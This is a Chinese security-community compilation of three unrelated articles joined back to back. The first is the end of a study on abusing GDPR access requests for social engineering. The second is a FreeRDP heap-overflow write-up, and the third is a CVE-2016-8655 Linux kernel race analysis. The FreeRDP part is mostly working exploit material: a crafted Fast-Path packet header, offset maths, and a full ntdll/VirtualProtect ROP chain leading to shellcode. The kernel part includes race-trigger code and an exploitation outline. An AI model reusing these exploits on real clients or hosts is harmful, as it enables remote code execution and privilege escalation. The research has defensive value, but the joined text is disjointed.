请求（最多可延长一个月），因此可能难以在规定的时间范围内响应广泛或复杂的 GDPR
请求。在这些动态压力下，假设组织可能倾向于走捷径或被请求的范围和复杂性分心，而不太关注法律的身份验证方面。
因此，这封信对所请求的数据故意含糊其辞，要求“[the]组织（或代表[the
organization’s]的第三方组织）存储的任何个人身份信息。”为了进一步加剧这种复杂性，这封信不仅要求数字帐户信息，还要求位于“物理文件、备份、电子邮件、录音或其他媒体”中的数据。这种模糊性允许该信函适用于广泛的情况，而无需针对特定组织进行定制。额外的复杂性是通过两个与攻击者目标不直接相关的信息请求来训练的。首先，这封信要求提供有关与第三方的任何数据共享关系的信息——要求组织不仅要确定他们持有的有关数据主体的信息，还要确定该数据的来源。包含此信息的响应具有额外的好处，即识别未来对受害者进行攻击的其他目标。
其次，这封信要求提供有关个人数据是否“由于安全或隐私泄露而被无意中披露
[…]”的信息。添加这个查询是为了建议主体访问请求的合理目的。其目的是让接收组织怀疑攻击者对已披露或未披露的数据泄露有所了解，并正在使用 GDPR
请求为诉讼或监管投诉奠定基础。假设这种信念可能会导致组织忽视身份验证异常。
除了增加复杂性之外，这封信还试图抢占攻击失败的主要原因之一：身份证明请求。这封信通过提议提供与数据主体与组织的现有关系“相称”（proportional）的身份证明文件来做到这一点。
GDPR
的这种解释得到了法律本身的温和支持，该法律规定数据控制者“不应仅出于能够对潜在请求做出反应的目的而保留个人数据”，并且数据控制者应使用“所有合理措施来验证身份”数据主体的身份”（Rec.
64）。相称是一个模棱两可的标准，在许多与消费者没有直接关系的组织（例如广告数据经纪人）的情况下可能难以确定。这使攻击者有理由在以后可信地拒绝提供某些形式的身份证件。为了进一步加强这种抢占，这封信还规定攻击者只愿意通过“安全在线门户”（secure
online
portal）提供身份证明文件。通过参考英国信息专员网站上的指南，可以进一步支持这种不愿意通过电子邮件提供身份证明的做法，该指南表明电子邮件是一种有风险的个人数据传输方式。
这种需求给组织留下了三个次优选择。首先，他们可以根据要求提供安全的在线门户。然而，如果这样的门户不存在——对于中小型企业来说通常是这种情况——他们只有一个日历月来获得这样的能力。其次，他们可以拒绝提供门户并坚持通过电子邮件发送文件。这意味着他们可能会剥夺数据主体的基本权利，除非数据主体愿意对其数据承担不必要的风险。如果组织的邮件服务器随后遭到破坏，监管机构可能会认为这种行为是不利的。最后，组织可以选择根本不要求提供身份证明文件，或者要求用户通过电子邮件轻松发送的弱身份形式。在例子中，这是攻击者的理想结果。
#### B. 目标确定
主体访问请求信被设计为模块化的 .pdf 模板，其中受害者的详细信息和目标组织的名称都可以动态更改。创建了一个冒充受害者的虚假电子邮件帐户，格式为：
_[first name][middle initial][last name]@ gmail.com_ ，用于发送恶意信件。使用一个简单的 Python
脚本将攻击发送到 150 个组织，分两批次，每批 75 个组织。第二批中的信件得到了第一批中获得的关于受害者的额外信息的支持。
本文没有采用特别严格的方法来为这项初步研究选择组织。研究者试图重现对受害者一无所知的攻击者，因此，选择了各个行业（例如旅游或零售）中的少数知名组织。实验完成后，确定略多于一半的被查询组织实际上持有目标的个人数据。调查结果可能严重偏向在美国和英国开展业务的组织，即作者最熟悉的两个国家。更严格的未来研究，特别是考虑区域和语言变化的研究，可能是必要的。然而，即使是这种粗略的初始方法也足以提供对各种组织对恶意主体访问请求的响应的性质的弱量化。
### 3) 道德和法律问题
该实验是围绕许多道德和法律限制设计的。实验的唯一对象也是本文的合著者，虽然为了限制实验结果的偏见，她不被允许直接参与，但在实验的所有阶段，她都会被告知并再次确认她的同意。在向公司提交
GDPR
请求时，数据主体确实有兴趣查看他们可能存储的有关她的个人信息。当组织要求提供身份证明形式时，例如护照或驾照，研究者不会试图伪造这些文件——尽管怀疑很少有组织具有验证此类文件合法性的内部能力。同样，当需要电话采访或宣誓陈述时，虽然这些很容易被伪造，但没有尝试这样做。在少数情况下，要求进行弱形式的身份验证（例如邮戳信封），这些文件的合法副本在获得数据主体的知情同意的情况下提供，以评估其伪造可能产生的最终影响。
关于漏洞披露，研究者直接联系并通报了一些最严重的组织。
与软件漏洞不同，社会工程漏洞的披露可能会产生不良的次要影响，例如将被攻击成功的组织成员作为替罪羊，即使他们这样做是由于组织政策不当。
由于研究的重点是隐私法规的广泛系统影响，而不是试图“赶上”任何特定公司，根据调查结果的严重性，对披露签证的适当性作出了个案判决。
出于这些考虑并保持对本研究更广泛目标的关注，研究者选择不列出任何容易受到攻击的特定组织。
## 0x04 Case Study Results
对大约 150
个组织的调查显示，主体访问请求流程的实施存在显着差异，更具体地说，适用于该流程的识别标准。虽然发现许多组织实施了合理的安全控制，但也发现许多组织实施了不安全的身份验证控制或根本没有控制。除了这些直接相关的发现之外，案例研究还揭示了许多其他细节，这些细节可能对研究人员、立法者和对
GDPR 合规性的现实表现感兴趣的组织有用。
### 1) 初步响应
并非所有联系的组织都制定了 GDPR
主体访问请求流程（参见下图）。大约四分之一的联系组织从未对请求作出回应。目前尚不清楚这是因为他们以某种方式确定这是非法的，还是他们根本没有适当的流程来响应根据
GDPR 提交的主体访问请求。在本季度内，少数公司回应称，由于司法管辖区的限制，他们认为 GDPR
不适用于他们。这种反应不仅来自小型企业，还来自主要在美国开展业务的四家大型（Fortune
250）公司。这些组织争辩说，即使数据主体是欧洲居民，由于其作为美国企业的性质，她也无权查看他们根据 GDPR 持有的有关她的数据。
在那些确实响应 GDPR
请求的组织中，大约三分之二的组织做出了回应，以揭示受害者是否使用过他们的服务。虽然帐户枚举的严重程度可能因具体情况而异，但在某些情况下，仅存在一个帐户就可以揭示有关个人的深层敏感信息，例如
2015 年的 Ashly Madison 数据泄露事件。在实验结果中，在线约会服务是为响应 GDPR 请求而列举用户帐户存在的组织之一。
### 2) 最终响应
在拥有模拟受害者信息的组织子集中，大约四分之一的组织在未验证请求者身份的情况下提供了敏感信息（上图）。另外 15%
的联系组织要求提供一种被认为很容易被盗或伪造的身份形式（例如设备标识符或宣誓成为数据主体的签名声明），但研究者并未试图伪造。少数组织 (5%)
声称没有关于数据主体的个人信息，即使她确实有一个由组织控制的帐户。最后，少数组织 (3%)
将主体访问请求信误解为数据删除请求，并在不需要任何进一步身份验证的情况下删除了数据主体的帐户。
更积极的一点是，大约 40%
的组织要求采用威胁模型无法实现的身份识别形式。观察到身份请求形式的显着可变性，这表明没有明确的“最佳实践”（下图）。最常见的身份验证形式，并且符合前文提出的相称测试（proportionality
test），是要求来自用于注册组织的原始电子邮件帐户的电子邮件或登录数据主体的帐户。
并不是所有的组织都可以使用这两种形式的身份（例如数据经纪人或实体零售商）。在这些情况下，政府签发的身份证明虽然不相称，但却是身份验证的有利机制。一些组织使用了一些新颖的基于知识的身份验证形式，可能是基于恶意主题访问请求信中建议的相称测试，比如对数据主体访问的最后一个零售地点的知识或关于帐户创建日期的信息。这类信息超出了威胁模型的范围，但对这种基于知识的身份证明的可行性和安全性进行更深入的调查可能会被证明是值得的。
关于特定行业的趋势，由于样本集不够大，无法做出结论性的观察。然而调查结果表明，经常处理敏感信息的行业（例如航空公司或银行）或经常收到 GDPR
请求的行业（例如社交媒体组织或消费科技巨头）往往不太容易受到这种特定攻击。与此同时，在处理敏感身份证件或处理 GDPR
请求方面经验较少的更深奥领域（例如教育或娱乐）的组织往往更有可能泄露敏感信息。发现数据集中最大的组织（例如财富 100
强公司）往往表现良好，而最小的组织往往会忽略 GDPR 请求。非营利组织和中型组织（100 – 1,000 名员工）约占处理不当请求的
70%。这可能表明存在一个“社会工程最佳点”（social-engineering sweet-spot），目标组织大到足以了解和关注
GDPR，但又小到没有专门的重要资源来实现合规性。能够有力地验证这些初始趋势的更广泛的调查可能是值得的。
### 3) 扩展参与
在少数组织要求强形式的身份验证的情况下，发现这些要求在实践中是灵活的。例如，在告诉一家大型在线游戏公司（年收入超过 10
亿美元），忘记了帐户密码并且无法登录以验证身份后，该组织只是向他们提供了数据未经任何进一步核实而举行。在其他情况下，不可能完全消除身份验证过程，但有可能大大削弱它。例如，英国的一家主要铁路服务运营商最初要求提供护照复印件作为身份证明，但经过一些谈判后，同意接受邮戳信封（如下图）。类似地，几个组织——包括网络安全服务公司
– 接受了一张经过大量编辑的银行对帐单照片，其中除了受害者的姓名和地址外没有任何银行信息。这表明，即使要求提供身份证件，也很少努力验证其真实性。
### 4) 数据发现
实验中总共获得了 60
多个不同的个人信息实例。将“实例”定义为来自给定提供商的特定类型（例如电话号码）的先前未知的个人信息。因此，例如，如果提供商以一个以前未知的电话号码和包含
15 个以前未知的 IP
地址的列表进行响应，那么在分析中，这将构成个人信息泄露的两个“实例”。为了更好地理解这些发现，根据低、中或高严重程度对每个实例进行了分类。这些分类必然是任意的，但是是根据对相关信息的可利用性的预期做出的。
低严重性实例（约
25%）包含的数据没有明显的直接应用来进一步攻击受害者。这包括由背景调查机构收集的广告资料和公共记录。与敏感帐户（例如在线约会档案）相关的一小部分帐户枚举漏洞也包含在此类别中。这些数据在威胁模型中没有直观的用处，但在某些情况下可能会为攻击者提供洞察力，以帮助他们针对目标进行进一步攻击或参与其他社会工程操作（例如勒索）。
中等敏感度的实例（大约
60%）包含的数据可能对攻击者有用，但仅在某些情况下或需要额外的努力。这包括标准化考试成绩、电话号码以及历史位置和购买数据等信息。其中一些信息（例如以前的住宅地址）可用于支持带有附加标识符的后续
GDPR
请求。其他信息（例如详细的购买历史）可能会被用来冒充信用卡提供商或银行作为网络钓鱼操作的组成部分。最后，一些信息提供了对个人活动和行为的深入洞察——例如数据主体在过去几年中乘坐的铁路旅行的完整记录或在英国一家主要连锁酒店的完整酒店住宿记录。
高敏感度实例（约
15%）由对对手具有明显效用的数据组成。例如，一家主要的教育服务组织提供了数据主体的完整美国社会安全号码，而无需在此之前请求任何身份验证。根据该组织网站上的信息，预计超过
1000 万个人的记录可能容易受到这次攻击。同样，一些组织提供了有关受害者信用卡号码的部分信息。到攻击结束时，攻击者都知道受害者卡号的 10
位数字、卡的有效期、发起银行和邮政编码。虽然这可能不足以进行实际购买，但在社会工程操作中冒充目标银行可能已经足够了——尤其是在结合之前讨论的中等敏感性购买历史时。在一个特别新颖的案例中，一家威胁情报公司向攻击者提供了先前泄露的属于数据主体的用户名和密码（下图）。随后对这些密码进行了测试，发现这些密码可用于至少
10 个在线帐户，包括一个在线银行服务。
这些发现证明了错误处理访问请求权的潜在严重性。与其他社会工程类型不同，此类攻击提供了对组织中个人整个数据配置文件的轻松正当且完全的访问。此外，许多持有目标数据的组织可能是目标从未听说过或直接与之交互的组织（例如上述威胁情报公司）。在这种情况下，目标几乎不可能知道他们的数据存储不安全或知道他们的信息可能已被泄露。
## 0x05 Proposed Remediations
这些漏洞显然需要解决，在某种程度上这项研究是第一步，因为它提高了对这种攻击的认识，并鼓励企业批判性地思考他们的主体访问请求过程。然而，立法者、企业和个人也可以考虑进行切实的改变，以改善现状。在这里建议一些最直观的方法，但考虑到访问请求权的身份验证的最佳方法，未来的工作可能是值得的。
### 1) 立法者和监管者
立法者和监管者非常适合尝试补救这些问题。对 GDPR
稍作修改，就可以提供对数据权利请求的合理身份验证形式的急需澄清。即使不修改现有立法，信息专员也可以向组织提供关于适当形式的身份识别可能是针对特定访问请求的具体指导。此类指导也可以纳入未来以
GDPR
为模型的隐私法律。也许更重要的是，立法者可以削弱许多鼓励企业不当实施身份验证的因素。如果事实证明该请求来自合法但行为可疑的数据主体，那么简单地向善意拒绝可疑访问权请求的企业保证以后不会被起诉，这可能是许多相关组织所需要的在这个研究中。
从长远来看，立法者可能会考虑为数据主体提供政府中介的身份验证服务。现有的服务，例如英国的“Gov.UK
Verify”服务可能会扩大规模，为寻求验证个人身份的企业提供简单的是/否答案。然后，例如，消费者不必将敏感的护照文件发送给零售商，而可以将它们发送给受信任的政府服务。这将允许个人数据主体获得强大身份验证的好处，而无需与不受信任的第三方共享敏感数据。
### 2) 企业
如果不改变立法或提高监管清晰度，企业仍然可以尝试更好地保护他们自己和他们的客户免受此类攻击。案例研究中大约 40%
的企业采用了超出低级别威胁模型能力的方法。对于大多数组织而言，这只是要求主体访问请求源自先前已知属于数据主体的电子邮件或要求数据主体登录其在线帐户的问题。如果这两种身份模式不可用，请求政府颁发的带照片的
ID
可能是防止这种攻击的最有效方法。但是，无法充分保护这些数据或验证其真实性的组织应考虑将这些服务外包给第三方。企业还应定期评估其主体访问请求流程的漏洞，并培训个人服务代表检测和响应此类攻击。将恶意主体访问请求（如本文中使用的请求）作为常规渗透测试的一个组成部分，可能有助于在这些问题成为潜在的数据泄露之前缓解这些问题。
### 3) 消费者
个人消费者对组织如何选择共享他们的数据以响应主体访问请求几乎没有影响。但是，有一些基本操作可能证明有助于减轻这些攻击的危害。首先，个人可能会从考虑他们的数据足迹以及哪些组织可能持有有关他们的敏感信息中受益。在不需要这种数据关系的情况下（例如个人不再使用的服务），提交数据删除请求可能是谨慎的，以限制信息泄漏的潜在途径。在无法删除数据的情况下，个人可能会受益于向特定企业询问是否以他们的名义提交了任何过去的访问权请求以及这些请求的最终结果是什么。如果数据泄露已经发生，这可以允许个人识别数据泄露并对其做出反应。
此外，个人应该警惕“基于知识”（knowledge-based）的身份验证，因为它可以证明电话或电子邮件来自特定企业。
例如在实验中，有可能获得一个人最近购买的几十个清单以及他们信用卡号码的许多数字。 攻击者可以使用这些信息来冒充银行代表，并可能对受害者造成进一步的伤害。
因此，当用作身份证明时，即使是极其精细和深奥的数据的知识也应受到怀疑。
## 0x06 Conclusions
在本文中假设了GDPR 访问请求权可能是社会工程攻击的脆弱点。通过一项涵盖 150
个组织的实验，证明了此类攻击在现实世界中的可行性。发现很大一部分组织没有充分验证访问请求权背后的原始身份，因此社会工程师可以以可重复和可扩展的方式获取高度敏感的信息。研究建议采取一些针对个人、企业和立法者的补救措施，以帮助减轻这些攻击。本文对攻击者如何以新颖和意想不到的方式滥用隐私法律进行了初步和粗略的调查。未来的大量工作既要验证这些初步发现，又要表征其他相关漏洞——需要了解隐私法律中出现此类漏洞的机制以及如何最好地预测和避免它们。所有隐私立法的目标都是确保一个更安全、更诚实的互联网。使这些法规的实施与它们的目标一致是这样做的重要先决条件。 | 社区文章 |
**作者：sunglin@知道创宇404实验室/0103 sec team
时间：2021年10月9日**
## 0x00 RDP协议的应用
RDP协议（远程桌面协议）是微软公司创建的专有协议，它允许系统用户通过图形界面连接到远程系统，主要分为服务端和客户端，这篇我们来聊聊客户端相关应用与攻击面。
主要流行的应用包括：
mstsc.exe（微软系统自带）
freerdp （最流行且成熟的开源应用 , github star超过5.6k, fork接近10k)
## 0x01 RDP协议通信机制
1. [MS-RDPBCGR]基于ITU（国际电信联盟）T.120系列协议。T.120标准由一组通信和应用层协议组成，使实施者能够为实时，多点数据连接和会议创建兼容的产品和服务。
2. [MS-RDPBCGR]协议可通过静态虚拟通道和动态扩展协议建立隧道进行传输；
3. 其中有9种协议可建立静态虚拟通道包括常用的（剪切板、音频输出、打印虚拟频道、智能卡等）
4. 其中12种协议可与动态频道虚拟频道扩展[MS-RDPEDYC]建立隧道包括（视频虚拟频道、音频输入、USB设备、图形管道、即插即用设备等等）
5. 7种协议扩展了[MS-RDPBCGR]并且还包括UDP传输扩展[MS-RDPEUDP]、网关服务器 协议[MS-TSGU]等。
## 0x02 RDP协议图像处理通道攻击面
rdp协议中对图形处理中有两种通道，多种方式，协议也是很复杂的
## 0x03 攻击msrdp图形处理通道
attack fastpath
api:
CCO::OnFastPathOutputReceived(CCO *this, unsigned __int8 *a2, unsigned int a3)
{
switch()
{
case1:
CTSCoreGraphics::ProcessBitmap
.............
case 9:
CCM::CM_ColorPointerPDU
case A:
case B:
............
}
}
对此通道进行fuzzing，而后获取到了msrdp的crash：
## 0x04 简要分析此漏洞
漏洞存在模块mstscax.dll，api是CUH::UHLoadBitmapBits
CUH::UHGetMemBltBits获取存储的bitmap数据时访问到数组边界造成数据越界
## 0x05 漏洞相似性分析
msrdp与freerdp存在相同的漏洞？
freerdp CVE-2020-11525
同样的bitmap数组越界当 id == maxCells时将会
数组越界并且和msrdp是同一个漏洞
## 0x06 反向攻击客户端的路径和方式
## 0x07 漏洞背景
对于rdp图形通道的漏洞，我于7月份的时候向freerdp报告了一枚漏洞，并且freerdp回复了我并分配了cve号
CVE-2020-15103，当时提到的漏洞原因是整数溢出，并且freerdp发布了2.2.0版本修复了我提到的漏洞，重新深入分析了这枚漏洞，发现并不只是整数溢出那么简单，而是freerdp并未正确修复此漏洞，遂即对此漏洞进行了深入分析。
## 0x08 漏洞分析
首先在rdp协议建立连接的时候，server发送Demand Active
PDU协议字段给client的进行功能交换阶段时候，通过以下的图可以看到存在于连接过程的哪一阶段了。
freerdp对应处理的代码在rdp.c的回调函数`rdp_recv_callback`中进行连接部分的处理，当rdp->state为`CONNECTION_STATE_CAPABILITIES_EXCHANGE`的时候，将会接收Demand
Active PDU协议字段，继续深入协议字段，Demand Active PDU协议字段将会通过capabilitySets字段来设置每一项功能
capabilitySets (variable): An array of Capability Set (section 2.2.1.13.1.1.1)
structures. The number of capability sets is specified by the
numberCapabilities field
这里关注的是Bitmap Capability Set
Bitmap Capability
Set如下，其将会设置字段desktopWidth和desktopHeight，而这两个字段将会用于创建窗口会话，并且会通过这两个字段分配一片内存，而这片内存就是造成后面越界的区域
在freerdp中api调用路径如下:
rdp_recv_callback->rdp_client_connect_demand_active->rdp_recv_demand_active->rdp_read_capability_sets->rdp_read_bitmap_capability_set
在rdp_read_bitmap_capability_set函数中将会接收到server端的数据，将会设置desktopWidth和desktopHeight
https://github.com/FreeRDP/FreeRDP/blob/libfreerdp/core/capabilities.c
freerdp将会在wf_post_connect中进行一系列的初始化，包括初始化bitmap，api调用路径如下:
wf_post_connect->wf_image_new->wf_create_dib->CreateDIBSection
最后将会调用windows的api CreateDIBSection，CreateDIBSection将会以bmi.bmiHeader.biWidth *
bmi.bmiHeader.biHeight * bmi.bmiHeader.biBitCount创建以4096页为基数的大内存。
https://github.com/FreeRDP/FreeRDP/blob/client/Windows/wf_graphics.c
在freerdp建立并初始化完成后，调用下这片内存，并且触发漏洞，通过Fast-Path数据来发送Bitmap
Data，而后freerdp将会利用到初始化的内存，并且没有做任何限制
发送的数据头部如下:
00,
0x84,0x24,//size = 1060
0x04,
0x1e,0x4, //size - 6
0x04, 0x00,//cmdType
0x00, 0x00,//marker.frameAction
0xFF, 0xE3, 0x77, 0x04,//marker.frameId
0x01, 0x00,//cmdType
0x00, 0x00, //cmd.destLeft // nXDst * 4
0x00, 0x00, //cmd.destTop // nYDst * width
0x00, 0x03,//cmd.destRight
0x04, 0x04,//cmd.destBottom
0x20, //bmp->bpp
0x80,//bmp->flags
0x00,//reserved
0x00, //bmp->codecID
0x00, 0x01, //bmp->width *4
0x01, 0x0, //bmp->height
0x00 ,4,0,0,//bmp->bitmapDataLength
通过特殊制作的头部数据，将会获取如下路径:
rdp_recv_pdu->rdp_recv_fastpath_pdu->fastpath_recv_updates->fastpath_recv_update_data->fastpath_recv_update->update_recv_surfcmds->update_recv_surfcmd_surface_bits->gdi_surface_bits->freerdp_image_copy
先来分析下这个函数`gdi_surface_bits`，在gdi_surface_bits中有三条路径可以解析和处理接收的数据，case
RDP_CODEC_ID_REMOTEFX和case RDP_CODEC_ID_NSCODEC，这两条路径都会将原始数据进行解析转换，然而在case
RDP_CODEC_ID_NONE中，将会直接得到拷贝原始数据的机会。
Static BOOL gdi_surface_bits(rdpContext* context, const SURFACE_BITS_COMMAND* cmd)
{
switch(cmd->bmp.codecID)
{
case RDP_CODEC_ID_REMOTEFX:
rfx_process_message();
case RDP_CODEC_ID_NSCODEC:
nsc_process_message();
case RDP_CODEC_ID_NONE:
freerdp_image_copy()
}
}
最后来到数据越界的函数freerdp_image_copy()，这里的copyDstWidth、nYDst、nDstStep 、xDstOffset
变量都是可控制的，memcpy这里将会越界写
这里有个问题，CreateDIBSection分配的是以4096页为基数的大内存，而此片内存并没有在freerdp进程内，即使越界写也很难覆写到freerdp的内存，而这里将desktopWidth或desktopHeight置0的话，将会导致CreateDIBSection分配内存失败，导致失败后将会在gdi_init_primary中进入另一条路径`gdi_CreateCompatibleBitmap`，而这里将会调用`_aligned_malloc`以16字节对称来分配内存，而这里desktopWidth或desktopHeight置0，所以将会分配16字节大小的稳定内存，而这个内存是在freerdp进程内的。
## 0x09 假如说能获取信息泄露
假如这里通过自制工具可以泄露堆地址，比如从最轻松简单的开始，通过泄露越界内存的地址，这个结构体就在`gdi_CreateCompatibleBitmap`中调用并分配了将会越界的内存
观察以下结构体将会发现data指针后面将会有个free的函数指针，这里泄露两个地址，GDI_BITMAP结构体的地址和data指针的地址，只要GDI_BITMAP结构体的地址高于data指针的地址，就可以计算出偏移offset，通过设置offset精确的将free覆盖，最后通过主动调用free，这样就可以控制rip了
## 0x10 精确计算offset
再来回顾下nYDst 是cmd->destTop,nDstStep 是cmd->bmp.width *
4，xDstOffset为cmd.destLeft*4，copyDstWidth为cmd->bmp.width * 4
BYTE* dstLine = &pDstData[(y + nYDst) * nDstStep * dstVMultiplier + dstVOffset];
memcpy(&dstLine[xDstOffset], &srcLine[xSrcOffset], copyDstWidth);
这里offset = gdiBitmap_addr - Bitmapdata_addr;
需要通过设置nYDst * nDstStep *1 + xDstOffset = offset
发送bitmapdata 的数据包括shellcode的大小是1060，头部大小是36
shellcode的布局如下:
最后的计算如下:
if (gdi_addr > Bitmapdata_addr)
{
eip_offset = gdi_addr - Bitmapdata_addr;
char okdata = eip_offset % 4;
UINT64 copywidth = 1024 * 0xffff;
if (okdata == 0)
{
if (eip_offset < copywidth)
{
eip_offset = eip_offset - 1016 + 32 + 32 + 64; //向后退32 + 64
eip_y = eip_offset % 1024;
eip_ = (eip_offset - eip_y) / 1024;
nXDst = eip_y / 4;
}
}
}
## 0x11 主动调用free
通过发送以上的bitmap_data数据将会控制hBitmap->free,通过发送RDPGFX_RESET_GRAPHICS_PDU消息将会重置，并且会先调用hBitmap->free释放初始化的资源。
RDPGFX_RESET_GRAPHICS_PDU消息处理api流程如下:
rdpgfx_on_data_received->rdpgfx_recv_pdu->rdpgfx_recv_reset_graphics_pdu->gdi_ResetGraphics->wf_desktop_resize->gdi_resize_ex->gdi_bitmap_free_ex
通过调用hBitmap->free(hBitmap->data)，将会控制rip
## 0x12 在win64上面构造rop链
首先rop链的条件是得通过pop ret来利用栈上面的数据，所以说得控制栈上面的数据才能构造出完整的rop利用链，这里观察了下调用free时的寄存器值:
Rax = hBitmap->data rcx = hBitmap->data rdi = rsp + 0x40
hBitmap->data的地址上面的堆数据正是被控制的数据，这里在忽略基址随机化的前提下，在ntdll中通过ROPgadget找到了这样的滑块:
48 8B 51 50 mov rdx, [rcx+50h]
48 8B 69 18 mov rbp, [rcx+18h]
48 8B 61 10 mov rsp, [rcx+10h]
FF E2 jmp rdx
只要执行这条rop链就可以完美控制rsp，接下来只需要调用win
api来获取一片可执行代码的内存，这里采用最简单的方式就是直接调用virtprotect来改写shellcode存在的内存页为可执行状态，在x86_64上面，调用api都是通过寄存器来传参的，而virtprotect的传参如下:
Mov r9d,arg4
Mov r8d,arg3
Mov edx,arg2
Mov ecx,arg1
Call virtprotect
综上所述，我的rop链代码是这样构造的:
UINT64 rop1 = 0x00000000000A2C08; //mov rdx, [rcx+50h], mov rbp, [rcx+18h],mov rsp, [rcx+10h],jmp rdx
UINT64 rop2 = 0x00008c4b4; // ntdll pop r9 pop r10 pop r11 ret
UINT64 rop3 = 0x8c4b2; //ntdll pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret
UINT64 rop4 = 0xb416; //ntdll pop rsp ret
UINT64 rop5 = 0x8c4b7; //ntdll pop rdx; pop r11; ret
UINT64 rop6 = 0x21597; //ntdll pop rcx; ret
UINT64 rop7 = 0x64CC0; //virtprotect
UINT64 shellcode_addr = ntdll_Base_Addr + rop1;
UINT64 rsp_godget = gdi_addr - 104;
memcpy(&shellcode[956], &shellcode_addr, sizeof(shellcode_addr));//向后退32 + 64 rop 之rsp控制栈
memcpy(&shellcode[948], &gdi_addr, sizeof(gdi_addr)); //控制rcx
memcpy(&shellcode[940], &rsp_godget, sizeof(rsp_godget)); //rsp赋值
shellcode_addr = ntdll_Base_Addr + rop3;
memcpy(&shellcode[1004], &shellcode_addr, sizeof(shellcode_addr));//jmp rdx赋值,rop 开始执行
shellcode_addr = ntdll_Base_Addr + rop5; //rop 栈赋值rdx
UINT64 ret1 = 924 - 72;
memcpy(&shellcode[ret1], &shellcode_addr, sizeof(shellcode_addr));
shellcode_addr = ntdll_Base_Addr + rop6; //rop re2
UINT64 ret2 = 924 - 48;
memcpy(&shellcode[ret2], &shellcode_addr, sizeof(shellcode_addr));
shellcode_addr = KERNEL32Base_Addr + rop7; //rop re3
UINT64 ret3 = 924 - 32;
memcpy(&shellcode[ret3], &shellcode_addr, sizeof(shellcode_addr));
UINT64 virtprotect_arg4 = 924 - 96;
shellcode_addr = gdi_addr - 112; //rop virtprotect_arg4
memcpy(&shellcode[virtprotect_arg4], &shellcode_addr, sizeof(shellcode_addr));
UINT64 virtprotect_arg1 = 924 - 40;
shellcode_addr = gdi_addr - 888; //rop virtprotect_arg4
memcpy(&shellcode[virtprotect_arg1], &shellcode_addr, sizeof(shellcode_addr));
memcpy(&shellcode[900], &shellcode_addr, sizeof(shellcode_addr)); //ret to shellcode
respose_to_rdp_client(shellcode, 1060);//attack heap overflow
通过rop链到执行shellcode，寄存器rdi的值都没有被改写，所以最后在执行shellcode的时候，可以通过rdi来恢复栈地址，这里是通过最简单的方式了:
`Mov rsp,rdi`
最后执行shellcode。
请勿用于其他途径。
* * * | 社区文章 |
# 【技术分享】CVE-2016-8655内核竞争条件漏洞调试分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全应急响应中心
原文地址：<http://security.360.cn/News/news/id/119.html#header>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**作者：张开翔** ****
**传送门：**[
**【漏洞预警】CVE-2016-8655:Linux内核通杀提权漏洞（21:45更新POC）**](http://bobao.360.cn/learning/detail/3267.html)
**
**
**前言**
12月5日，hilipPettersson公布了一枚已存在Linux
kernel长达5年的本地提权漏洞，几乎影响所有Linux主流发行版本，一时风头无二，绝不亚于前段时间的“Dirty
Cow”。对于这个黑魔法漏洞，只有走进源码才不会管中窥豹，正是源于好奇，于是开始了整个漏洞的调试和分析。
漏洞调试是乏味的，建议大家在调试的过程中，保持心静，捋清步骤，逐渐展开。
感谢cyg07的敦促和指导！
**漏洞技术分析**
* * *
**1、漏洞描述**
漏洞作者：hilipPettersson（[[email protected]](mailto:[email protected])）
漏洞危害：低权限用户提权到root
影响范围：Linuxkernel version < 4.8.13
修复方案：Linuxkernel升级到最新版本（>=4.8.13）
官方补丁：https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0cLinuxkernel(net/packet/af_packet.c)代码中存在条件竞争，可造成低权限用户提权到root。漏洞利用要创建原始套接字，需具备CAP_NET_RAW能力。
然而在某些特定的Linux发行版本（Ubuntu、Fedora）允许非特权用户创建的网络命名空间具备该能力，可成功利用。
**
**
**2、漏洞成因**
packet_set_ring函数在创建ringbuffer的时候，如果packet版本为TPACKET_V3，则会初始化struct
timer_list，如下图所示。packet_set_ring函数返回之前，其他线程可调用setsockopt函数将packet版本设定为TPACKET_V1。前面初始化的timer未在内核队列中被注销，timer过期时触发struct
timer_list中回调函数的执行，形成UAF漏洞。
switch(po->tp_version){
case TPACKET_V3:
/* Transmit path isnot supported. We checked
* it above but justbeing paranoid
*/
if(!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
}
当套接字关闭，packet_set_ring函数会再次被调用，如果packet的版本大于TPACKET_V2，内核会在队列中注销掉先前的这个定时器，如下图所示。
if(closing &&(po->tp_version > TPACKET_V2)){
/* Because we don't support block-based V3 on tx-ring */
if(!tx_ring)
prb_shutdown_retire_blk_timer(po, rb_queue);
}
但是packet版本被更改为TPACKET_V1后，原本的执行流程就发生了改变，使得
prb_shutdown_retire_blk_timer()函数不被执行，timer结构体也没有在内核的队列中被注销，一旦timer过期，内核就会执行相应的处理函数。timer的类型是struct
timer_list，定义如下：
struct timer_list {
/* * All fields that change during normal runtimegrouped to the
* same cacheline */
struct hlist_node entry;
unsignedlong expires;
void (*function)(unsignedlong);
unsignedlong data;
u32 flags;
int slack;
#ifdefCONFIG_TIMER_STATS
int start_pid;
void *start_site;
char start_comm[16];
#endif
#ifdefCONFIG_LOCKDEP
struct lockdep_maplockdep_map;
#endif
};
**
**
**3、漏洞利用**
漏洞利用的本质是通过触发竞态，使得内核不注销socket内部的timer，然后使用内存喷射的方法覆盖timer未释放前的内核空间，将timer内部的函数替换成想要执行的函数，一旦timer时间过期，内核就会执行timer的过期处理函数，实际就是替换后的函数，从而达到漏洞利用的目的。触发竞态的代码如下：
void*vers_switcher(void*arg)
{
int val,x,y;
while(barrier){}
while(1){
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION,&val,sizeof(val));
y++;
if(x !=0)break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION,&val,sizeof(val));
if(x !=0)break;
y++;
}
fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)n",x,y,val);
vers_switcher_done =1;
returnNULL;
}
漏洞作者公布了POC，利用步骤分为三个阶段：第一阶段是准备struct
ctl_table数据，并将它存放在vsyscall页，作为register_sysctl_table()函数的调用参数。具体方法是首先将vsyscall页设置成可写属性页，可通过调用set_memory_rw(syscall_page)来完成，然后再修改页内容，填充为精心构造的structctl_table结构体的数据，将该结构体的核心成员.data设置为moprobe_path。
**timer覆盖前数据：**
**timer覆盖后数据：**
